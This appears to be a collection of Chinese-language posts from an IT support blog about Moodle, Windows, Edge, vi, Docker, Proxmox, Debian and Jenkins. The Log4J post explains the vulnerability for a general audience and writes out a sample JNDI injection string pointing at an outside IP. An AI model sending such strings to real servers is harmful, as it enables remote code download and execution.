特色
發表於 Moodle

2024Q1技術通報

改變 Alt-Tab 鍵的行為

常用的 Alt-Tab, 能快速切換視窗; 但會被 Edge 的頁面佔據多數, 這跟沒用 Edge 之前不一樣(很不習慣), 要回覆之前的 Alt-Tab 行為:

  1. 到 設定 (settings) -> 系統(System)
  2. 在左選單選到 Multitasking
  3. 找到 Alt-Tab 選 Open windows only(如圖)
發表於 Moodle

2023Q3技術通報

最近同仁用 Edge 愈來愈多, 這裡有幾個使用 Edge 遇到的問題與設定:

  1. 在內容選擇文字時, 會出現 Search with Bing

你可以到 edge://settings/appearance#MiniMenu , or 直接在 context menu 直接把它隱藏(hide, 它會帶你到同樣的頁面)

把 Mini menu on text selection 關閉


2. 預設搜尋引擎

Edge 預設是 Bing (雖然最近 ChatGPT 好用); 如果想要用 Google 為預設,
請到 : edge://settings/privacy
直接捲到最下方: Address bar and search
找到 Google (設定成 Default)

發表於 其它/一般

vi 編輯無法用滑鼠選取文字內容

我們常在 vi 內選取我們要的內容, 可能複製來記錄、下指令或其它用途;以往只要抓著滑鼠點選並拖曳就可以選取我們要的文字,但最近確出現,原本應該要多重選取的行為,在滑鼠推曳後變成捲動 vi 內文?

要解決這個方法有兩個:

vi mouse select failed.
  1. 在 vi 內下 :set mouse-=a 這個指令,但是每次進來 vi 都要下.
  2. 一勞永逸的作法是, 建立1個 ~/.vimrc 的檔案, 輸入: set mouse= 就可以了, 只個檔案如下:
set mouse=
set ttymouse=

如果要在整台 linux 都採用這個設定(global), 把相同內容寫在 /etc/vimrc 內即可。

發表於 Moodle

串流伺服器

  1. 請先準備一台可以跑docker 的主機
  2. 準備串流伺服器的空間
  3. 先跑 redis

Stream 空間

準備空間,實體位置,方便備份串流資料。
stream 下有 data 及 hls ,eg. /home/stream/data and /home/stream/hls

sudo mkdir -p /home/stream/data/tmp_uploads
sudo mkdir -p /home/stream/data/tmp_videos
sudo mkdir -p /home/stream/hls

安裝 redis


準備 redis 空間(方便以後備份資料庫)

sudo mkdir -p /home/stream/redisdata
docker run -d --name Toriredis --restart=always -v /home/stream/redisdata:/data redis redis-server --appendonly yes

安裝 Yakitory

從 docker hub 抓取 image


docker run -d --name Yakitory -e RACK_ENV=production -p80:80 -v /home/yakitory/data:/opt/yakitory/public/data -v /home/yakitory/hls:/opt/yakitory/public/hls --link Toriredis:redis moodletw/tory-sandbox2020:76

-p80:80 以 http 埠
-v 對應空間
–link 連 redis

開啟串流後台

瀏覽器開 VM IP 的 80, eg: http://34.81.42.35/ login

建立一個client

用 Create new 新增一個 client 給 Moodl 用 。

接下來就到 Moodle 安裝外掛(plugin) 來使用串流了。

發表於 Moodle

Proxmox6(lxc) + Docker

因為 Proxmox 的 LXC 己經是 container, 在發現有 portainer 時, 就不在需要用 Proxmox 建 VM、再安裝 Docker 當 HOST 的方式。

找一台 PVE 的主機,進入 debian 的 root 權限。

Prepare

apt-get update
apt-get dist-upgrade -y

Proxmox 沒訂閱更新看這裡.

安裝 Docker-CE

apt-get install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -

#以下這段要另外複製到 notepad 上再貼到 debian 執行(因為 new site 會加上一空白行)

apt-key fingerprint 0EBFCD88

接著進入 PVE55, PVE61

# $(lsb_release -cs) 就是 stretch or buster

add-apt-repository \
    "deb [arch=amd64] https://download.docker.com/linux/debian \
    $(lsb_release -cs)  \
    stable"

apt-get update

apt-get install -y docker-ce

docker ps

有看到 docker 列表就ok了。

發表於 Moodle

Log4J exploit (Log4J 弱點)-2021最後一件大事

因為詢問的太多,所以特別作一篇文章跟大家說明是什麼狀況

我們都知道 Log4J 是專門記錄 log(日誌)的,而在網站伺服器記錄log的流程如下圖。

一般的log 記錄

而目前的 Log4J 存在的弱點,有可能(請注意,是有可能) 遭遇攻擊的方式:
1. 偽造 http 的要求,如下圖,送出假的 agent,如: ${jndi:ldap://12.34.56.78/….}
2. 造成右邊的網站伺服器在處理log時,反而對外連到 12.34.56.78 這台主機。

(這裡為了讓大家理解,將實際減化許多)

被傳送惡意的攻擊字串

除了連到外面主機之外,也可以下載檔案。如此一來,能做的事就很多了;

eg.先下載一個執行檔,然後再執行它。

希望以上的說明,能幫助大家對這個問題的了解;因為 log4j 的使用範圍實在太廣了,相信這也是為什麼會讓大家特別重視的原因。如果您的Moodle同步教室還有問題,可以連絡我們,協助釐清問題。

發表於 Moodle

Debian: changed its ‘Suite’ value from ‘stable’ to ‘oldstable’?

最近的 debian 更新時,出現錯誤:

E: Repository 'http://security.debian.org/debian-security buster/updates InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
N: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Version' value from '10.1' to '10.10'
E: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository 'http://deb.debian.org/debian buster-updates InRelease' changed its 'Suite' value from 'stable-updates' to 'oldstable-updates'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.

輸入以下指令:

apt-get update --allow-releaseinfo-change

再下一次 update,就可以了。

發表於 Moodle

Jenkins 架構分享

有關 Jenkins 架構與名詞解釋:

Jenkins 採用的是 Master / Slave 模式:

Master

  • 排程工作 (Jobs)
  • 發送執行工作命令給 Slave
  • 監控所有 Slaves 與記錄執行結果
  • 也可以執行工作

Slave

  • 只負責執行 Master 發送過來的工作指令

Job / Project : 在 Jenkins 的世界這兩個意思是一樣的,指的是可被 Jenkins 控制/監控的任務

Slave/Node

  • 為了幫 Master 分擔
  • 在 Slave 上跑的獨立程式叫做 “Slave agent”
  • 當 Slave 在 Master 上註冊,Master就會開始分散負載給 Slave

Executor

  • 是一個獨立的 stream of builds,可以在一個 Node 平行處理
  • 一個 Node 可以有一個或多個 Executor

Build

  • 是其中一個 Project 的結果

Plugin

  • 就是外掛插件啦
  • 讓你的 Jenkins 擴充很多功能

發表於 Moodle

另外一種 ppk 的應用

延續前文-使用方法2:另外一種 ppk 的應用

前文提到將私鑰轉換為 PuTTY 可以用的 PPK, 這裡還有另外一個用法.

直接點選 ppk 檔案, Windows 右下角(Trayicon)就會有 icon ; 這時就可以直 putty 登入(這個方法也適用 WinSCP)

藍色電腦圖示.